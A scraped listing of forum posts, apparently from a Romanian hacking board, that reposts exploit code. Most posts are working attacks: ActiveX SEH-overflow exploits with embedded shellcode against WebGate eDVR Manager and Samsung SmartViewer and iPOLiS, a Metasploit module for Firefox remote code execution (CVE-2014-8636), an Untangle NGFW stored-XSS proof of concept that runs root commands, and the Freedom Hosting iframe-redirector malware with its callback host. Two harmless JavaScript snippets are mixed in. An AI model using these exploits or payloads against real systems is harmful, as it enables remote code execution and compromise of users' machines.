"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++) { buff2 += "A"; } fbuff = buff1 + nseh + seh + nops + sc + buff2; getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4); </script> </html> Source: http://www.exploit-db.com/exploits/36518/

March 27, 2015
- arg2=1;
- arg3=1;
- (and 3 more)
  Tagged with:
  - arg2=1;
  - arg3=1;
  - i=0;i
  - nops
  - var

WebGate eDVR Manager 2.6.4 SiteName Stack Overflow

KhiZaRix posted a topic in Exploituri

<html>  <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='sname'> </object> <script> var buff1= ""; var buff2= "PraveenD"; var nops = ""; for (i=0; i<128; i++) { buff1 += "B"; } var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(8000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++) { buff2 += "A"; } fbuff = buff1 + nseh + seh + nops + sc + buff2; sname.SiteName(fbuff) = buff2; </script> </html> Source: WebGate eDVR Manager 2.6.4 SiteName Stack Overflow

March 27, 2015
- buff2=
- i=0;
- (and 3 more)
  Tagged with:
  - buff2=
  - i=0;
  - nops
  - praveend;
  - var

WebGate eDVR Manager Stack Buffer Overflow

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'> </object> <script> var arg1 = ""; nops = ""; var buff = ""; for(i=0;i<268;i++) { arg1 += "B"; } nseh = "\xeb\x10\x90\x90"; //jmp over addr seh = "\x71\x47\x01\x10"; //pop pop ret addr document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>"); for(i=0;i<200;i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++) { buff += "A"; } // [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode] fbuff = arg1 + nseh + seh + nops + sc + buff; target.LoadImage(fbuff); </script> </html> Source

March 26, 2015
- buff
- edvr
- (and 3 more)
  Tagged with:
  - buff
  - edvr
  - fori=0;i
  - nops
  - var

Firefox Proxy Prototype Privileged Javascript Injection

Aerosol posted a topic in Exploituri

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev' # discovery and metasploit module ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ ['CVE', '2014-8636'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def default_html "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = js_obfuscate %Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var props = {}; props.has = function(n){ if (!window.top.x && n=='nodeType') { window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); if (window.top.x) { Object.setPrototypeOf(document, pro); setTimeout(function(){ x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ x.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ x.close(); }, 100) }, 100) }, 100); } } } var pro = Object.getPrototypeOf(document); Object.setPrototypeOf(document, Proxy.create(props)); | %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT'] || default_html} </body> </html> | end end Source

March 24, 2015
1 reply
- 1
- def
- firefox
- (and 3 more)
  Tagged with:
  - def
  - firefox
  - include
  - rextext.rand_text_alpha5
  - var

Untangle NGFW 9 / 10 / 11 XSS / Code Execution

Aerosol posted a topic in Exploituri

Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source

March 10, 2015
- configuration
- untangle
- (and 3 more)
  Tagged with:
  - configuration
  - untangle
  - user
  - var
  - xss

Samsung iPOLiS 1.12.2 - iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue PoC

Aerosol posted a topic in Exploituri

<html>  <head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC </head> <object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object> <script> var arg1 = ""; var arg2="praveend"; for (i=0; i<= 15000; i++) { arg1 += "A"; } target.WriteConfigValue(arg1 ,arg2); </script> </html>  Source

February 23, 2015
- activex
- ipolis
- (and 3 more)
  Tagged with:
  - activex
  - ipolis
  - poc
  - samsung
  - var

[JS] Alarma

sharkyz posted a topic in Programare

Un mic script in js pentru a te avertiza dupa o anumita perioada de timp predefinita de utilizator. // Alarm Clock Mai jos aveti codul sursa care il puteti copia in consola din chrome. // (Ctrl-Shift-C) (function() { (function() { var tim_def = prompt("Timp pana la declansarea alarmei?"); if (tim_def.length === 1) { var tim = tim_def; } else if (tim_def.length > 1) { var tim = tim_def.slice(0,-1); } else { alert ('Raspunsul nu este valid incearca din nou!') } var lctim = tim_def.slice(-1); var audio = new Audio('http://soundjax.com/reddo/97744%5EALARM.mp3'); var alerta = function(smo) { var mes = prompt("Ce ai vrea sa spun alerta ta?", "Alert!"); if (tim_def !== null) { setTimeout(function() { audio.play(); alert(mes ? mes : 'Alarma!'); }, 1000 * smo * parseFloat(tim)); } }; switch (lctim) { case 's': //secunde alerta(1); break; case 'm': //minute alerta(60); break; case 'o': //ore alerta(3600); break; default: alerta(60); break; } })(); })(); In plus puteti face un bookmark cu codul de mai jos: javascript:!function(){!function(){var a=prompt("Timp pana la declansarea alarmei?");if(1===a.length)var e=a;else if(a.length>1)var e=a.slice(0,-1);else alert("Raspunsul nu este valid incearca din nou!");var l=a.slice(-1),n=new Audio("http://soundjax.com/reddo/97744%5EALARM.mp3"),r=function(l){var r=prompt("Ce ai vrea sa spun alerta ta?","Alert!");null!==a&&setTimeout(function(){n.play(),alert(r?r:"Alarma!")},1e3*l*parseFloat(e))};switch(l){case"s":r(1);break;case"m":r(60);break;case"o":r(3600);break;default:r(60)}}()}();

February 15, 2015
- alarm in js
- break;
- (and 3 more)
  Tagged with:
  - alarm in js
  - break;
  - javascript
  - js alarm
  - var

Samsung SmartViewer BackupToAvi 3.0 - Remote Code Execution

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object> <script > var payload_length = 15000; var arg1=1; var arg2=1; var arg3=1; //blank strings var junk = ""; var buf1 = ""; var buf2 = ""; //offset to SE is 156, initial analysis using metasploit cyclic pattern for (i=0; i<156; i++) { buf1 += "A"; } var nseh = "DD"; var seh = "\x87\x10"; //from Vulnerable DLL junk = buf1 + nseh + seh; //remaining buffer for (j=0; j<(payload_length-junk.length); j++) { buf2 += "B"; } //final malicious buffer var fbuff = junk + buf2; target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff); </script> </html> Source

January 19, 2015
- //offset
- analysis
- (and 3 more)
  Tagged with:
  - //offset
  - analysis
  - buf2
  - initial
  - var

Read local files using pure javascript

Worm64 posted a topic in Programe utile

Scris de dimineata la cafea: <script> function citeste(file) { fisier=new FileReader() fisier.onload = function(e) { var text = fisier.result; document.getElementById('display').innerHTML=text; } fisier.readAsText(file,'UTF-8') } </script> <input type="file" id="fileInput"> <input type='button' value='Citeste' onclick='citeste(fileInput.files[0])'></br> <textarea id='display' style='height:80%; width: 30%;'> </textarea>

January 19, 2015
- 2
- filereader
- fisier.onload
- (and 3 more)
  Tagged with:
  - filereader
  - fisier.onload
  - fisier=new
  - functione
  - var

Freedom Hosting FBI IFRAME Redirector Malware Script

Fi8sVrs posted a topic in Programe hacking

# MalwareMustDie! # This is the malicious Javascript set codes injected to the Freedom Hosting site # It contents the IFRAMER Malware method to redirect the victim to infector site, in url: # http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 # # Original copy at: www.twitlonger.com/show/n_1rlo0uu # See the Iframer part and tell me if this is NOT adapting malware techniques, and NOT blindly infect every visitor to that site!! # Anyone who accessed an FH site with Firefox & JavaScript enabled must be affected to this IFRAMER. # Case: FBI infects malware in public anonymous network http://blog.malwaremustdie.org/2014/08/what-is-bad-stays-bad-legalized-any.html # Ref: http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/ # Ref: https://www.mozilla.org/security/announce/2013/mfsa2013-53.html # Ref: http://www.twitlonger.com/show/n_1rlo0uu # Ref: http://pastebin.com/bu2Ya0n6 # Ref: http://pastebin.com/pmGEj9bV # MalwareMustDie!# This is the malicious Javascript set codes injected to the Freedom Hosting site # It contents the IFRAMER Malware method to redirect the victim to infector site, in url: # http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 # # Original copy at: www.twitlonger.com/show/n_1rlo0uu # See the Iframer part and tell me if this is NOT adapting malware techniques, and NOT blindly infect every visitor to that site!! # Anyone who accessed an FH site with Firefox & JavaScript enabled must be affected to this IFRAMER. # Case: FBI infects malware in public anonymous network http://blog.malwaremustdie.org/2014/08/what-is-bad-stays-bad-legalized-any.html # Ref: http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/ # Ref: https://www.mozilla.org/security/announce/2013/mfsa2013-53.html # Ref: http://www.twitlonger.com/show/n_1rlo0uu # Ref: http://pastebin.com/bu2Ya0n6 # Ref: http://pastebin.com/pmGEj9bV // Case 1 function createCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function isFF() { return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent)); } function updatify() { var iframe = document.createElement('iframe'); iframe.style.display = "inline"; iframe.frameBorder = "0"; iframe.scrolling = "no"; iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0"; iframe.height = "5"; iframe.width = "*"; document.body.appendChild(iframe); } function format_quick() { if ( ! readCookie("n_serv") ) { createCookie("n_serv", "203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0", 30); updatify(); } } function isReady() { if ( document.readyState === "interactive" || document.readyState === "complete" ) { if ( isFF() ) { format_quick(); } } else { setTimeout(isReady, 250); } } setTimeout(isReady, 250); // Case 2 function createCookie(name, value, minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime() + (minutes * 60 * 1000)); var expires = "; expires=" + date.toGMTString(); } else var expires = ""; document.cookie = name + "=" + value + expires + "; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } function isFF() { return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent)); } function updatify() { var iframe = document.createElement('iframe'); iframe.style.display = "inline"; iframe.frameBorder = "0"; iframe.scrolling = "no"; iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66"; <== (1) 1ST CALLBACK SELF EXPLANATORY iframe.height = "5"; iframe.width = "*"; document.body.appendChild(iframe); } function freedomhost() { if (!readCookie("n_serv")) { createCookie("n_serv", "eb5f2c80-fc81-11e2-b778-0800200c9a66", 30); updatify(); } } function isReady() { if (document.readyState === "interactive" || document.readyState === "complete") { if (isFF()) { //window.alert(window.location + "Firefox Detected.") freedomhost(); } } else { setTimeout(isReady, 250); } } setTimeout(isReady, 250); // Noted, same method, // second script is w/IP info callback, contacting remote host as per marked (1) IP Address: 65.222.202.53 City: Triadelphia State or Region: West Virginia Country: United States ISP: Verizon Business Latitude & Longitude: 40.0900-80.6220 Domain: verizonbusiness.com ZIP Code: 26059 --- #MalwareMustDie! @unixfreaxjp Source

January 18, 2015
- 1
- function
- malware
- (and 3 more)
  Tagged with:
  - function
  - malware
  - ref
  - site
  - var

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